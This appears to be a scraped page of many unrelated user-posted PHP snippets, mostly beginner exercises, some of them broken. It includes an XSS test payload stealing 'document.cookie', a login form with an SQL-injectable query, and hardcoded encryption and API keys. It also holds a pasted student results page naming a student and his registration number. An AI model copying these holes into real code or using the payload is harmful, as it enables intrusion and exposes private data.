PHP Samples

Must Watch!



MustWatch

PHP Samples

comments

<?php /* Initialize some variables using C style comments $a - contains a-coefficient $b - contains b-coefficient $x - value we are evaluating $y - result from evaluating equation */ $a = 1; $b = 2; $x = 1; $y = $a * $x + $b; if ( $y < 5 ) // C++ style comment, check if y<5 { # Shell style comment, display something when y<5 echo "Guess what? y is less than 5!"; } ?>

variables

<?php $count = 0; // Set count equal to 0 $_xval = 5; $_yval = 1.0; $some_string = "Hello There!"; $will i work=6; // This does not work!!! $3blindmice=3; // Same here, does not work ?>

functions

<?php function m_x_plus_b($m, $x, $b) { return $m*$x+$b; } $slope=1.5; $x=2; $b=3; echo "y = ".m_x_plus_b($slope,$x,$b)."<br>"; ?> <?php // This script will call the function named foo showing case insensitivity. function foo($my_string) { echo "$"."my_string = $my_string<br>"; } foo("foo is foo"); Foo("Foo is foo"); FoO("FoO is foo"); FOO("FOO is foo"); ?> The two following sample scripts show two different ways of using the same anonymous function. <?php $lambda=create_function('$a,$b','return(strlen($a)-strlen($b));'); $array=array('really long string here, boy','middling length','larger'); usort($array,$lambda); print_r($array); ?> <?php $array=array('really long string here, boy','middling length','larger'); usort($array,create_function('$a,$b','return(strlen($a)-strlen($b));')); print_r($array); ?>

Arrays

Arrays are associative and can use strings(in quotes) or integers.

Getting data from an HTML form

Data sent from an HTML form is presented to a PHP script as an array. It may be the array $_GET or the array of $_POST. Before you access an element in one of these arrays you need to check to see it exists. Recall that any PHP script can be called by typing inits URL... and so any or no data can be delivered. The following function handles this. function get($key) { if (array_key_exists($key,$_POST)) return $_POST[$key]; else return "; } $SUBJECT=get('subject'); $FROM=get('from'); $MESSAGE=get('message'); $SIGNED=get('signed');

classes

<?php class Programmer { // Class Properties var $name; // Programmer's name var $experience; // How long has been programming var $lang; // Favorite Language var $education; // Highest degree earned // Class Constructor - function same name as the class function Programmer($name, $experience, $lang, $education) { $this->name=$name; $this->experience=$experience; $this->lang=$lang; $this->education=$education; } // Getter/Setter functions for all properties in the class function get_name() { return $this->name; } function set_name($newname) { $this->name = $newname; } function get_experience() { return $this->experience; } function set_experience($newexperience) { $this->experience = $newexperience; } function get_lang() { return $this->lang; } function set_lang($newlang) { $this->lang = $newlang; } function get_education() { return $this->education; } function set_education($neweducation) { $this->education = $neweducation; } // Utility data dump function function output() { echo "Programmer Name: ".$this->name."<br>"; echo $this->name." has ".$this->experience." years of programming experience.<br>"; echo $this->lang." is ".$this->name."'s favorite programming language.<br>"; echo $this->name." holds the degree: ".$this->education."<br><br>"; } } // Instantiating a programmer $paul = new Programmer('Paul Conrad',12,'C++','Bachelor of Science in Computer Science'); $paul->output(); // Oops, Paul has programmed alot longer than 12 year, really is 22 years $paul->set_experience(22); $paul->output(); ?>

constants

<?php define('school',"California State University at San Bernardino"); define('programs',4); echo "Our school is ".school."<br>"; echo "Our school's Computer Science Dept has ".programs." academic programs"; ?>

Sample Code Quick Reference


Table
Example PHP ScriptSource FileDescription
php_samples/anonymous_function.php php_samples/anonymous_function.txt Sample of anonymous functions at work.
php_samples/anonymous_function2.php php_samples/anonymous_function2.txt Another anonymous function sample, no assigned variable, though (YAGNI).
php_samples/assignment1.php php_samples/assignment1.txt Sample of assigning values to variables and doing some strange operations.
php_samples/block.php php_samples/block.txt Example of block scope and } is not required when ?> tag encountered.
php_samples/class_extends.php php_samples/class_extends.txt Sample showing how classes are inherited in PHP.
php_samples/class_sample.php php_samples/class_sample.txt Sample class of a class named Programmer.
php_samples/comment_sample.php php_samples/comment_sample.txt Sample showing how comments can be done in PHP.
php_samples/constant_sample.php php_samples/constant_sample.txt Sample showing how to define constants in PHP.
php_samples/const_in_class.php php_samples/const_in_class.txt Experiment to see what the scope of define'd constants are in PHP.
php_samples/define1.php php_samples/define1.txt A way to define a constant in PHP. Just displays a 1 - constant is defined.
php_samples/define2.php php_samples/define2.txt Another way to define a constant in PHP. Displays the value of the constant.
php_samples/define3.php php_samples/define3.txt An experiment in which 'a' contains the constant, and b is 1.

(Close Table)


Global vs Local Variables in PHP

<?php $x = 5; $y = 10; function test() { // $x = 10;$y = 30; global $x,$y; echo $x." ".$y."\n"; } function test1() { $GLOBALS['x']+=$GLOBALS['y']; } test(); test1(); test(); $nums = array(12,2,10,32,23,5); sort($nums); foreach($nums as $i) { print($i." = ".var_dump($i)."\n"); } $num1 = array('abc'=>10,'abde'=>1,'efg'=>11,'bcd'=>20); ksort($num1); print_r($num1); foreach($num1 as $i) { echo $i."\n"; } ?> <html> <head> <title>Create Table Dynamically</title> <style> </style> </head> <body> <form method="post" action ="main.php"> <table border="1" width="350px"> <tr> <td>Enter number of Rows</td> <td><input type="text" name="rows"/></td> </tr> <tr> <td>Enter number of Columns</td> <td><input type="text" name="columns"/></td> </tr> <tr> <td colspan="2" align="center"> <input type="submit" value="Create Table" name="create"/> </td> </tr> </table> </form> <span style="color:red"></span> <?php if(isset($_REQUEST['create'])) { ?> <span class="comments"> <?php $row=$_REQUEST['rows']; ?> <span class="comments"></span> <?php $col=$_REQUEST['columns']; ?> <span class="comments"> </span> <?php echo "<table border='1' width='350px'>"; for($i=1;$i<=$row;$i++) { ?> <span class="comments"></span> <?php echo "<tr>"; for($j=1;$j<=$col;$j++) { ?> <span class="comments"></span> <?php echo "<td>row".$i."col".$j."</td>"; } ?> <span class="comments"></span> <?php echo "</tr>"; } ?> <span class="comments"></span> <?php echo "</table>"; } ?> <span style="color:red"></span> </body> </html>

equality

<?php echo 0.00 == 0 ? 'true' : 'false'; echo PHP_EOL; echo 0.00 === 0 ? 'true' : 'false'; <?php $data = 'this is appLe and ApPle'; $search = 'apple'; $replace = 'pear'; $data = preg_replace_callback('/\b'.$search.'\b/i', function($matches) use ($replace) { $i=0; return join('', array_map(function($char) use ($matches, &$i) { return ctype_lower($matches[0][$i++])?strtolower($char):strtoupper($char); }, str_split($replace))); }, $data); ?> <!doctype html> <?php $connect = mysqli_connect("localhost","root","); mysqli_select_db($connect,"miniproj"); if(isset($_POST['submit'])){ $user = $_POST['username']; $pass = $_POST['password']; for($i = 0; $i<strlen($user); $i++){ if($user[$i] == "'"){ echo("Don't try an injection attack. the cops are on their way!!!"); exit(); } } for($i = 0; $i<strlen($pass); $i++){ if($pass[$i] == "'" ){ echo("Don't try an injection attack. the cops are on their way!!!"); exit(); } } $query = "select * from users where id ='$user' and pass = '$pass'"; $query_run = mysqli_query($connect,$query); if(mysqli_num_rows($query_run)>0){ header('location:0_success.html'); } else{ echo("error ! please enter correct data!"); } } ?> <html> <head> <meta charset="utf-8"> <title>Untitled Document</title> </head> <body> <form action=" method="post"> <table align="center"> <tr> <td>username:</td> <td><input type="text" name="username" placeholder="enter your username"></td> </tr> <tr> <td>Password:</td> <td><input type="password" name ="password" placeholder="enter your password"></td> </tr> <tr> <td></td> <td><input type="submit" name="submit" value="submit"</td> </tr> </table> </form> </body> </html>

Azza.Php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php for($number =1; $number<100;$number ++){ if ($number%5==0) { echo $number.'<br>';}} ?> </body> </html>

unknown Mohammed Elhadi SE4

<?php function familyName($fname, $year) { echo "$fname Refsnes. Born in $year "; } familyName("Mohammed", "1996\n"); familyName("Ahmed", "1997\n"); familyName("Essam", "1998\n"); $t = date("H"); if ($t < "10") { echo "Have a good morning!"; } elseif ($t < "20") { echo "Have a good day!"; } else { echo "Have a good night!"; }?>

suggestions

<?php $hour = '11'; $minute = '1'; $type = 'PM'; $startTime = date("H:i:00", strtotime(sprintf("%02d:%02d " . $type, $hour, $minute))); echo $startTime; echo "\n\n"; echo date('h-i-s', strtotime($startTime)); echo "\n\n"; echo date('h-i-s A', strtotime($startTime)); // If am/pm is required echo "\n\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { array_push($array, $i); } print microtime(true) - $t; echo "\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { $array[] = $i; } print microtime(true) - $t; echo "\n\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { $array[] = $i; } print microtime(true) - $t; echo "\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { array_push($array, $i); } print microtime(true) - $t; echo "\n\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { $array[] = $i; } print microtime(true) - $t; echo "\n"; $t = microtime(true); $array = array(); for($i = 0; $i < 10000; $i++) { array_push($array, $i); } print microtime(true) - $t;

count

<? foreach ($userIdsChunks as $key => $userIdsChunk) { $userTotals = array_merge( $userTotals, $ctrl->READ ->from('records') ->where_in('userid', $userIdsChunk) ->where_in('video_id', $videoIds) ->group_by('userid') ->select('userid, count(*) as total') ->get() ->result_array() ); } <?php // define variables and set to empty values $nameErr = $emailErr = $genderErr = $websiteErr = "; $name = $email = $gender = $comment = $website = "; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["name"])) { $nameErr = "Name is required"; }else { $name = test_input($_POST["name"]); } if (empty($_POST["email"])) { $emailErr = "Email is required"; }else { $email = test_input($_POST["email"]); // check if e-mail address is well-formed if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $emailErr = "Invalid email format"; } } if (empty($_POST["website"])) { $website = "; }else { $website = test_input($_POST["website"]); } if (empty($_POST["comment"])) { $comment = "; }else { $comment = test_input($_POST["comment"]); } if (empty($_POST["gender"])) { $genderErr = "Gender is required"; }else { $gender = test_input($_POST["gender"]); } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2>Absolute classes registration</h2> <p><span class = "error">* required field.</span></p> <form method = "post" action = "<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> <table> <tr> <td>Name:</td> <td><input type = "text" name = "name"> <span class = "error">* <?php echo $nameErr;?></span> </td> </tr> <tr> <td>E-mail: </td> <td><input type = "text" name = "email"> <span class = "error">* <?php echo $emailErr;?></span> </td> </tr> <tr> <td>Time:</td> <td> <input type = "text" name = "website"> <span class = "error"><?php echo $websiteErr;?></span> </td> </tr> <tr> <td>Classes:</td> <td> <textarea name = "comment" rows = "5" cols = "40"></textarea></td> </tr> <tr> <td>Gender:</td> <td> <input type = "radio" name = "gender" value = "female">Female <input type = "radio" name = "gender" value = "male">Male <span class = "error">* <?php echo $genderErr;?></span> </td> </tr> <td> <input type = "submit" name = "submit" value = "Submit"> </td> </table> <?php echo "<h2>Your given values are as:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $website; echo "<br>"; echo $comment; echo "<br>"; echo $gender; ?> ?> </body> </html>

Sum and Product Number Finder

<?php finder(16, 64); function finder($add,$product) { $inside_root = $add*$add - 4*$product; echo("Root = $inside_root\n"); if($inside_root >=0) { $b = ($add + sqrt($inside_root))/2; $a = $add - $b; echo "$a+$b = $add and $a*$b=$product\n"; }else { echo "No real solution\n"; } }?>

Apollo_aes_php

<?php function HexStringToByte($hexString) { $string = hex2bin($hexString); return $string; } function encrypt_string($string='', $key=''){ $iv_size = 16; $iv = "1212121212121212"; $blocksize = 16; $pad = $blocksize - (strlen($string) % $blocksize); $string = $string . str_repeat(chr($pad), $pad); return base64_encode($iv.openssl_encrypt($string, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv)); } function decrypt_string($data, $key) { $ciphertext_dec = base64_decode($data) ; $iv_size = 16; $iv_dec = substr($ciphertext_dec, 0, $iv_size); $ciphertext_dec = substr($ciphertext_dec, $iv_size); return openssl_decrypt($ciphertext_dec, 'aes-128-cbc', $key, OPENSSL_RAW_DATA, $iv_dec); } //$ciphertext = encrypt_string('Neeraj',HexStringToByte('0A6D4D8794371FC45B1E85368E38BE75')); //print_r($ciphertext); $ds = decrypt_string("jhI5nAdyb1qOEjmcB3JvWkrXzfs0jaJJIVMgqaElpdQ=",HexStringToByte('0A6D4D8794371FC45B1E85368E38BE75')); print_r($ds); exit;

keygen

<?php // EXAMPLE USAGE //sn = "1AB%02X"; $digilist = "0123456789ABCDEFGHJKLMNPQRTUVWXY"; $tempID = NULL; $tempID .= substr($digilist, rand(1, 9), 1); //random number $tempID .= substr($digilist, rand(10, 31), 1); //then a letter $tempID .= substr($digilist, rand(10, 31), 1); //another letter $tempID .= ("%'.02X"); $i=0; for ($i; $i < 99; $i+1) { $tempID = sprintf($tempID, $i); $array = generate($tempID); echo "\n"; echo "ID: " . $array[0]; echo "\n"; echo "Key: " . $array[1]; } // FUNCTION function generate(&$tempID) { $digilist = "0123456789ABCDEFGHJKLMNPQRTUVWXY"; //now we generate a new random ID number using the substrings of the digitList string above $id = NULL; $id .= $tempID; //ok so now we need to generate an MD5 hash of our ID $hash = md5($id); //cycle through the hash 16 (length of key) times (in steps of 2 because each hex bytes is 2 digits long) $i = 0; $key = NULL; for ($i; $i < 32; $i+=2) { //here we convert the next hex value to an integer and perform a bitwise AND operation against '31' //31 is the highest substring value in our digit list. $nextdigit = hexdec(substr($hash, $i, 2)) & 31; //if 'i' is divisable by 8 (every 4 cycles) then we want to add "-" if ((($i % 8) == 0) && ($i > 0)) { $key .= "-".substr($digilist, $nextdigit, 1); } else { $key .= substr($digilist, $nextdigit, 1); } } $array = array($id, $key); //return return $array; } ?>

regulag eception

<?php $html = '<li><li><a href="#">TEXT_1</a></li><a href="#">TEXT_2</a></li>'; function remove_a_from_li($html){ while(preg_match('#<a(.*?)>(.*?)</a>#is', $html) == 1){ $html = preg_replace('@(<li.*?)<a.*?/a>(</li>)@s', '\\1\\2', $html); } return $html; } echo remove_a_from_li($html);

bggw

<?php $a = array(); $n = (int)fgets(STDIN); $mch1 = 101; $mch2 = 101; $mne1 = 101; $mne2 = 101; $min1 = 0; $min2 = 0; for($i=1;$i<=$n;$i++) { $x = (int)fgets(STDIN); if($x<0) { $sum = $sum + $x; if(($x%2 == 0)and($x < $mch1)) { $mch1 = $x; } if(($x%2 != 0)and($x < $mne1)) { $mne1 = $x; } } else if(x>0) { if(($x%2 == 0)and($x < $mch2)) { $mch2 = $x; } if(($x%2 != 0)and($x < $mne2)) { $mne2 = $x; } } if($sum%2 != 0) { } } if((($mch1 == 101)or($mch2 == 101))and(($mne1 == 101)or($mne2 == 101))) { echo 'NO'; } ?>

ddds

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>delivered</h1>\n"; ?> </body> </html>

mycode

<?php $motorcycle_speed = 60; // km/h $motorcycleFuelTank = 5; // liters $motorcycle_fuel_consumptionRate = 10; # km/liter $carSpeed = 100; // km/h $carFuelTank = 40; // liters $car_fuel_consumptionRate = 8; # km/liter $busSpeed = 80; // km/h $busFuelTank = 200; // liters $bus_fuel_consumptionRate = 5; # km/liter function getTimeSpent($type ,$distance){ global $motorcycle_speed; global $carSpeed; global $busSpeed; if ($type=='motorcycle') { return $distance / $motorcycle_speed; } else if ($type=='car') { return $distance / $carSpeed; } else if ($type=='bus') { return $distance / $busSpeed; } else { return false; } } // Every vehicle starts with the full fuel tank. function getFuelStopNeed($type,$distance) { global $motorcycleFuelTank; global $motorcycle_fuel_consumptionRate; global $carFuelTank; global $car_fuel_consumptionRate; global $busFuelTank; global $bus_fuel_consumptionRate; if ($type=='motorcycle') { $time = floor($distance /($motorcycle_fuel_consumptionRate*$motorcycleFuelTank)); return ($time < 0) ? 0 : $time; } else if ($type=='car') { $time = floor($distance/( $car_fuel_consumptionRate* $carFuelTank)); return ($time < 0) ? 0 : $time; } else if ($type=='bus') { $time = floor($distance / ($bus_fuel_consumptionRate *$busFuelTank)); return ($time < 0) ? 0 : $time; } else { return false; } } $distance = 120; echo 'Distance: ' . $distance.'km(s)'; echo "\n"; $vehicle = 'motorcycle'; echo 'Vehicle: ' . ucfirst($vehicle) . ', Time spent: ' . getTimeSpent($vehicle, $distance) . 'hr(s), Fuel stop: ' . getFuelStopNeed($vehicle, $distance); echo "\n"; $vehicle = 'car'; echo 'Vehicle: ' . ucfirst($vehicle) . ', Time spent: ' . getTimeSpent($vehicle, $distance) . 'hr(s), Fuel stop: ' . getFuelStopNeed($vehicle, $distance); echo "\n"; $vehicle = 'bus'; echo 'Vehicle: ' . ucfirst($vehicle) . ', Time spent: ' . getTimeSpent($vehicle, $distance) . 'hr(s), Fuel stop: ' . getFuelStopNeed($vehicle, $distance); echo "\n";?>

Search for the city in country>state->city multidimensional array

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $arr = [ 'Country1'=> ['state1'=> ['city1','city2','city3'], 'state2'=> ['city4','city5'] ], 'Country2'=> ['state3' => ['city6','city7'] ] ]; foreach($arr as $key => $value){ // echo $key;echo "<br/>"; foreach( $value as $k => $v ){ // echo $k;echo "<br/>"; foreach( $v as $k1 => $v1 ){ if( $v1 == 'city6'){ echo "FOUND city= ".$v1." COUNTRY =".$key."STATE = ".$k;echo "<br/>"; } } } } ?> </body> </html>

ctv5

$url = "http://xc-outer-api.902t.com/apiouter-19"; $_Method['call'] = 'GetQqtyCatalog'; $_Content['Control' ] = 4; $_Content['page' ] = 1; $_Content['pagemax' ] = 10; $_Content['typeid' ] = 0; $output = implode('&', array_map( function ($v, $k) { return sprintf("%s=%s", $k, $v); }, $_Content, array_keys($_Content) )); $signkey = md5($output.'$t='.date("HisYmd").'&key=984c4d1f62abefd5b792d4907d08d226'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("call"=>$_Method['call'], "content"=>$_Content, "signkey"=>$signkey ))); $output = curl_exec($ch); curl_close($ch); print_r($output);

PHP demos

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $ar = "2 3 4 5"; $arr = explode(" ",$ar); print(implode(" ",$arr)); $no = (string)3; print(gettype($no)); ?> </body> </html> <?php $array = [ "a" => 1, "b" => 2, "c" => 3 ]; $arrayShifted = array_rand($array); print_r($arrayShifted); <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php error_reporting(E_ALL); ini_set('display_errors', 1); $strArr = [ 'name'=>"test", 'is_feature'=> "0", 'attributes'=>[[5=> "blue"],[7=> "iOS"]], 'cost'=> "2000" ]; $str = json_encode($strArr); $arr = (array) json_decode($str); $att = (array) $arr['attributes']; foreach($att as $v) { foreach($v as $k=>$z) { echo "key: ".$k." and val: " . $z . PHP_EOL; } }; ?> </body> </html>

quicksort

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php function quick_sort($array){ //first find the size of the array $length = count($array); if($length <= 1) { return $array; } else { //find that pivot dawg $pivot = $array[0]; $left = $right = array(); //loop through all items in array group into left and right arrays for($i = 1; $i < count($array); $i++) { if($array[$i] < $pivot) { $left[] = $array[$i]; } else { $right[] = $array[$i]; } } //recursively combine the results to get final sorted array return array_merge(quick_sort($left), array($pivot), quick_sort($right)); } } print_r(quick_sort(array(43))); ?> </body> </html>

Sum rev

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $n=99; $n=$temp; $sum=0; do { $r=$n/10; $sum=$sum+$r; $n=$n/10; } while (n!=0) { echo "$sum" } do { $sum=$rev; $r=$rev/10; echo "$r"; $n=$n/10; } while ($n!=0) echo "the sum of $temp is $sum and the reverse of $sum is $r"; ?> </body> </html>

counting up

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php for ($i=1;$i<=10;$i++){; echo "$i "; }; ?> </body> </html>

1111

<?php echo mt_rand(100, 200); ?>

asdasg345

<?php class Design { public $id = null; protected $attributes = [ 'id' => '', 'name' => '', ]; /** * Set fields and return design instance. * @param $design_data * @return $this */ public function saveDesignData($design_data) { $this->attributes['name'] = $design_data['name']; // Make other save stuff. return $this; } /** * Save shipping into database (default Eloquent Model save). * @return $this */ public function save() { // Assume design saved to database and we have id. // But now we set id just here for example. $this->attributes['id'] = rand(0, 10000); return $this; } public function getAttributes() { return $this->attributes; } public function getId() { return $this->attributes['id']; } } class Shipping { protected $attributes = [ 'id' => '', 'type_of_delivery' => '', 'address' => '', 'design_id' => '', ]; public function getId() { return $this->attributes['id']; } public function getAttributes() { return $this->attributes; } /** * Set fields and return shipping instance. * @param $shipping_data * @return $this */ public function saveShippingData($shipping_data) { $this->attributes['type_of_delivery'] = $shipping_data['type_of_delivery']; $this->attributes['address'] = $shipping_data['address']; return $this; } /** * Save shipping into database (default Eloquent Model save). * @return mixed */ public function save() { // Assume shipping saved to database and we have id. // But now we set id just here for example. $this->attributes['id'] = rand(0, 10000); return $this; } /** * @param $id * @return $this */ public function associateDesign($id) { $this->attributes['design_id'] = $id; return $this; } } class UniqueKeyIdPairsTempStoreHelper { protected $uniqueKeyIdPairs = []; /** * Add key/id pair. * @param $uniqueKey * @param $id */ public function addUniqueKeyIdPair($uniqueKey, $id) { $this->uniqueKeyIdPairs[$uniqueKey] = $id; } /** * Get id by unique key. * @param $uniqueKey * @return mixed|null */ public function getIdByUniqueKey($uniqueKey) { return !empty($this->uniqueKeyIdPairs[$uniqueKey]) ? $this->uniqueKeyIdPairs[$uniqueKey] : null; } } // Init database. $database = []; /** * Assume we create Order and its Designs in OrderController. */ $design_post = [ 'design1' => [ 'name' => 'Design #1', 'designUniqueKey' => 'Iasfuhh2323lk4n1', // Other design data from frontend. ], 'design2' => [ 'name' => 'Design #2', 'designUniqueKey' => 'asf54fuhh2323lk4n2', // Other design data from frontend. ] ]; // Before loop design creation make a new instance of temp unique key and ids store. $tempDesignIdsStore = new UniqueKeyIdPairsTempStoreHelper(); // Loop design post and save each design into database. foreach ($design_post as $design_data) { $design = new Design(); // Create design instance /* * Bunch of code here. Set design fields, create relations(finishings, garments, etc.) */ $design->saveDesignData($design_data); $design->save(); // Call save method and design will be stored in database. $database['designs'][$design->getId()] = $design->getAttributes(); /* * Now we can access design id and save it to temp store. * $design_data will store uniqueKey for new designs on estimate form. (ask frontend develop to do it). */ $tempDesignIdsStore->addUniqueKeyIdPair($design_data['designUniqueKey'], $design->getId()); // } /* * Now you can use $tempDesignIdsStore below for other part of Order saving proccess. * See example. */ $shippings_post = [ 'shipping1' => [ 'address' => 'Ukraine, Kharkiv, XTZ', 'type_of_delivery' => 'shipping', // More fields for shipping. // ... 'designUniqueKey' => 'Iasfuhh2323lk4n1' ], 'shipping2' => [ 'address' => 'Ukraine, Kharkiv, Moskov ave.', 'type_of_delivery' => 'shipping', // More fields for shipping. // ... 'designUniqueKey' => 'asf54fuhh2323lk4n2' ], 'shipping3' => [ 'address' => 'United States, Florida, Some Street', 'type_of_delivery' => 'pickup', // More fields for shipping. // ... 'designUniqueKey' => 'Iasfuhh2323lk4n1' ] ]; foreach ($shippings_post as $shipping_data) { // Get design from temp store by unique key attached on estimate form on shipping step. $design_id = $tempDesignIdsStore->getIdByUniqueKey($shipping_data['designUniqueKey']); /* * Create shipping address, * Create shipping, * Use design id from temp store to associate shipping and design */ $shipping = new Shipping(); $shipping->saveShippingData($shipping_data); $shipping->save(); $shipping->associateDesign($design_id); $database['shippings'][$shipping->getId()] = $shipping->getAttributes(); } print_r($database);

discuz_xss

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <script> var value='RE: <?php echo htmlspecialchars(json_encode(str_replace('\'', '\\\'', "\'-alert(document.cookie)//"))); ?>' </script> </body> </html>

DADD

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"/> <meta name="author" content="University of Nairobi"/> <meta name="description" content="Student Management Information System"/> <meta name="keywords" content="key, words"/> <link rel="shortcut icon" href="/images/favicon.ico" type="image/x-icon"/> <link rel="icon" href="favicon.ico" type="image/x-icon"/> <style type="text/css"> @import url(/styles/main.css); </style> <title>University of Nairobi : Students Online Portal</title> </head> <body> <div id="content"> <div id="top_info"> <div id="logo"> <a href="/index.php" title="Home"> <img src="/images/logo.jpg" class="logoimg"/></a> </div> <div class="title"> <h1><a href=" title="University of Nairobi Home Page"> University of Nairobi </a></h1> <p id="slogan" title="A world-class university committed to scholarly excellence">A world-class university committed to scholarly excellence</p> </div> </div> <ul id="tablist"> <li><a href="/index.php" accesskey="H"> Portal Home </a></li> <li><a href="/statement_summary.php" accesskey="S"> Student Fees</a></li> <li><a href="/teaching_timetable.php" accesskey="T"> Timetables</a></li> <li><a href="/course_registration.php" accesskey="C"> Course Registration</a></li> <li><a class="current" href="/result_slips.php" accesskey="R"> Results</a></li> <li><a href="/student_enquiries.php" accesskey="E"> Enquiries </a></li> <li><a href="http://smis.uonbi.ac.ke/hamis/bookroom.php" accesskey="E"> Book Room </a></li> <li><a href="/index.php?smisLogout=true" accesskey="L"> Logout </a></li> </ul> <div id="topics"> <div class="thirds"><ul> <li><a href="/result_slips.php">Provisional Result Slip</a></li></ul></div><div class="thirds"><ul> <li><a href="/enquiries.php">Transcript Request</a></li></ul></div> </div> <div id="left"> <div class="left_articles"> <div> <p>D33/32676/2014 LUCAS AWEYO OGADA &nbsp; &nbsp; (Nairobi Day(Mod II)) </p></div><p class="center"> <table border="0" align="center" cellspacing="0" cellpadding="0"> <tr><td align="center"> D33 BACHELOR OF COMMERCE</td> </tr> <tr><td align="center"> <p> While every effort is made to ensure that details are correct and up-to-date, <br /> please reconfirm with your Faculty/School/Institute office in case of any missing unit. <br /> Please note that NOT ALL Faculties, Schools and Institutes have released their results online. </p></td> </tr> <tr><td align="center"> <table border="0" align="center" cellspacing="0" cellpadding="0" width=100% > <tr> <td align="center"><a href="/result_slips.php?realm=showCourseWork"> Show CAT(S) / Course Work </a> &nbsp; &nbsp; <a href="/result_slips.php?realm=level"> Order Results by Level </a> </td> </tr> </table> <table border="1" align="center" cellspacing="0" cellpadding="0" width=100%> <tr> <td align="center" colspan="5"><B> Released Exam Results </B></td> </tr> <tr> <td align="left" colspan="5">2013/2014 May-August </td> </tr> <tr align="center"> <td align="center"> Cumulative </td> <td > &nbsp; </td> <td > Code </td> <td > Course Title </td> <td > Grade </td> </tr> <tr align="left"> <td align="center"> 1 </td> <td > 1 </td> <td > CCS001 &nbsp;</td> <td > COMMUNICATION SKILLS &nbsp;</td> <td > C &nbsp;</td> </tr> <tr align="left"> <td align="center"> 2 </td> <td > 2 </td> <td > CCS010 &nbsp;</td> <td > HIV AND AIDS INSTRUCTIONS &nbsp;</td> <td > A &nbsp;</td> </tr> <tr align="left"> <td align="center"> 3 </td> <td > 3 </td> <td > DAC101 &nbsp;</td> <td > FUNDAMENTALS OF FINANCIAL ACCOUNTING I &nbsp;</td> <td > B &nbsp;</td> </tr> <tr align="left"> <td align="center"> 4 </td> <td > 4 </td> <td > DBA101 &nbsp;</td> <td > INTRODUCTION TO BUSINESS &nbsp;</td> <td > B &nbsp;</td> </tr> <tr align="left"> <td align="center"> 5 </td> <td > 5 </td> <td > DFI103 &nbsp;</td> <td > PRINCIPLES OF MICRO-ECONOMICS &nbsp;</td> <td > C &nbsp;</td> </tr> <tr align="left"> <td align="center"> 6 </td> <td > 6 </td> <td > DMS111 &nbsp;</td> <td > QUANTITATIVE METHODS FOR BUSINESS &nbsp;</td> <td > B &nbsp;</td> </tr> </table> </td> </tr> </table> </p> </div> </div> <div id="footer"> <p class="right">&copy; 2013 <a href="http://www.uonbi.ac.ke/"> University of Nairobi</a> . Design: by <a href="http://smis.uonbi.ac.ke/index.php" title="ICT Centre">ICT Centre </a></p> <p><a href="http://www.uonbi.ac.ke/">About Us</a> &middot; </p> </div> <div id="footer"> <p><font color="green"> <ul>GOVERNMENT-SPONSORED (MODULE I) STUDENTS PAYMENT INSTRUCTIONS</ul> </font></p> <p style="font-weight: bold;">Pay to your respective college account</p> <p><font color="blue"> <ul>SELF-SPONSORED PROGRAMMES (MODULE II) PAYMENT INSTRUCTIONS / OPTIONS</ul> </font></p> <b>1. Bank Account</b><BR> => Cash Deposits, EFT or RTGS transfer to UON CESSP Collection Account No. <b>2032771362</b> at Barclays Bank, Plaza Branch<BR> => Cash Deposits, EFT or RTGS transfer to UON CESSP US$ Dollar Account No. <b>2032770625</b> at Barclays Bank, Plaza Branch<BR> <b>2. M-Pesa Pay Bill </b><BR> => The Business Number is <b>300059</b><BR> => The Account Number is your <b>"Student Registration Number"</b> (or <b>"Admission Ref Number"</b> for new student) <BR> <b><font color = "red">*NOTE: CASH, AGENCY BANKING AND ATM DEPOSITS ARE NOT ALLOWED*</font></b> </p> </div> </div> </body> </html>

Como classificar array pela chave e pelo valor, sem perder o valor original da chave?

<?php $array = array ( 71 => 100, 70 => 100, 69 => 23.53, 68 => 74.07, 67 => 23.29, 66 => 61.01, 59 => 100, 3 => 35, 1 => 56.18 ); echo "<pre>"; var_export($array); asort($array); var_export(array_reverse($array, true)); <?php $start="07:00:00"; $end="17:00:00"; $b=array( array('start'=>"07:00:00",'end'=>'07:30:00'), array('start'=>"08:45:00",'end'=>'09:00:00'), array('start'=>"10:00:00",'end'=>'10:15:00'), ); $sp=array(); $loop=$start; while($loop <= $end) { array_push($sp,$loop); $loop=date('H:i:s',strtotime('+15 minute',strtotime($loop))); } for($i=0;$i<count($b);$i++){ $loop = $b[$i]['start']; $app15array=array(); while($loop <= $b[$i]['end']) { array_push($app15array,$loop); $loop=date('H:i:s',strtotime('+15 minute',strtotime($loop))); } $minus=$app15array; print_r($minus); //*************** $loop=$minus[0]; $tmp= (count($minus)); var_dump((string)$tmp); while($loop <= $minus[2]){ echo "yes"; if(count($minus)==2){ if(in_array($minus[0],$sp,TRUE)){ array_splice($sp, array_search($minus[0],$sp), 1); } } if(count($minus)==3){ if(in_array($minus[0],$sp,TRUE)){ array_splice($sp, array_search($minus[0],$sp), 2); } } $loop=date('H:i:s',strtotime('+15 minute',strtotime($loop))); } //**************** } echo "<pre>"; print_r($sp);

